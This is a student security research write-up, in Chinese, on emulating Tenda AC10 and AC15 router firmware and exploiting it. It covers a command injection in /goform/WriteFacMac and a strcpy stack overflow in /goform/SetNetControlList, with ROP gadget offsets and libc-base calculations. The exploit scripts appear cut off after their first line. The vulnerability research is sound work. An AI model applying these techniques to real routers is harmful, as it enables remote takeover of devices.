AIS3 2024 - 專題研究成果
Author: 堇姬Naup
專題
我是網頁、IoT及軟體安全的A2。
這次是做IoT的漏洞專題,這次是研究Tenda router,研究的型號是AC10、AC15兩個型號,並且嘗試從CVE付現到挖出漏洞,雖然沒有拿最佳專題,但我也學到很多。以下是研究內容
AC10 CVE付現
解firmware
1 | binwalk -E US_AC10V1.0RTL_V15.03.06.23_multi_TD01.bin |
看起來沒有加密
直接
1 | binwalk -e US_AC10V1.0RTL_V15.03.06.23_multi_TD01.bin |
模擬
qemu-mipsel-static
1 | sudo apt install lib32z1 qemu-user-static |
可以先嘗試模擬
1 | sudo chroot ./ ./qemu-mipsel-static ./bin/httpd |
追進WeLoveLinux這個string
分析一下可能會卡幾個東西
apmit_init()、check_network()、ConnectCfm()
jalr做跳轉到$t9
,$t9
->$v0
->apmib_init
位置
apmib_init
09 F8 20 03
-> 01 00 02 24
https://shell-storm.org/online/Online-Assembler-and-Disassembler/
(patch 成 li $v0, 1)
check_network
09 F8 20 03
-> 01 00 02 24
(patch 成 li $v0, 1)
ConnectCfm
09 F8 20 03
-> 01 00 02 24
(patch 成 li $v0, 1)
都patch掉了
1 | sudo chroot ./ ./qemu-mipsel-static ./bin/httpd_patch |
run起來可以跑了
網卡
ip -> g_lan_ip -> br0
find br0 ip & listen br0網路接口ip
所以我們可以加入一個br0橋接網卡,並把網卡ens33加進去,這樣就可以抓到正確的ip
1 | sudo apt install uml-utilities bridge-utils |
成功模擬
Page not found
webroot重新定向到webroot_ro
1 | rm -rf webroot |
漏洞分析
formDefineTendDa() ->
/goform/WriteFacMac
可以控mac,doSystemCmd就是可以執行命令,所以有command injection
pwned!!
第一次送請求被redirect掉,所以送兩次
1 | import requests |
AC15 漏洞挖掘
Emulation
debug 要裝 gdb-multiarch
arch : arm
binwalk -e 噴 error 的話先裝這個
https://github.com/devttys0/sasquatch
1 | sudo apt install qemu-user-static |
sub_2E420 是 main(),他的啟動畫面跟 AC10 一模一樣,印象中 AC10 是有 symbol 的,可以對著看
IDA Pro ALT + t 可以找字串,找到後看 xref 辨別函數,我猜 AC10 AC15 寫的差不多
patch
先跳到print WeLoveLinux的地方,看卡在哪
check network
check network -> 死迴圈 -> sleep
MOV R3,R0(0030a0e1) -> MOV R3,#1(0130a0e3)
再回來看發現patch掉了
ConnectCfm
ConnectCfm->掛掉
MOV R3,R0(0030a0e1) -> MOV R3,#1(0130a0e3)
網卡
看上方發現抓到的ip不對
追進去看
ip -> g_lan_ip -> br0
find br0 ip & listen br0網路接口ip
所以我們可以加入一個br0橋接網卡,並把網卡ens33加進去,這樣就可以抓到正確的ip
1 | sudo apt install uml-utilities bridge-utils |
1 | rm -rf webroot |
1 | sudo chroot ./ ./qemu ./bin/httpd_patch |
gdb
1 | sudo chroot ./ ./qemu -g 30000 ./bin/httpd_patch |
attack
1 | readelf -a ./lib/libc.so.0 | grep "system" |
gadget | address |
---|---|
libc system offset | 0x0005a270 |
pop {r3, pc} | 0x00018298 |
mov r0, sp ; blx r3 | 0x00040cb8 |
sub_2E9EC() ->
/goform -> 下方有define追進去
/SetNetControlList (可以專注找set開頭之類的,因為比較有機會可以跟他互動)
追進去
list傳入 -> 資料進到sub_7DD20
進到
strcpy
往上追發現dest固定大小並且在rbp-0x260,可以buffer overflow
1 | gdb-multiarch ./bin/httpd_patch |
利用
1 | pop {r3, pc} |
pop掉後
r3 -> system
pc(rip的概念) -> mov r0, sp ; blx r3 gadget address
接下來會跳轉到pc的位置,跳到gadget
mov r0, sp ; blx r3
到這裡時候,sp(rsp -> stack頂部)拿出cmd,放入r0
blx r3跳進去system
get shell
leak libc
首先qemu的vmmap不能用,所以要找其他方式找
另外qemu每次模擬libc base都一樣
這邊我有在想,如果是在實體機的狀況要怎麼辦,查了一些資料後發現,這個情況下,與CTF不同,通常crash掉後機器重啟libc base與之前相同,所以可以嘗試爆破libc base作為手段,另外也可以利用其他information leak相關洞來leak libc
這裡有puts先跳進去,讓GOT有libc位置,然後進看
1 | b *0x0002E4FC #下斷點 |
puts經過ASLR後address(0x3fdd1cd4)-puts offset(0x35cd4) = 0x3fd9c000(libc base)
exploit
1 | import requests |
pwned
簡報
以下是我的簡報連結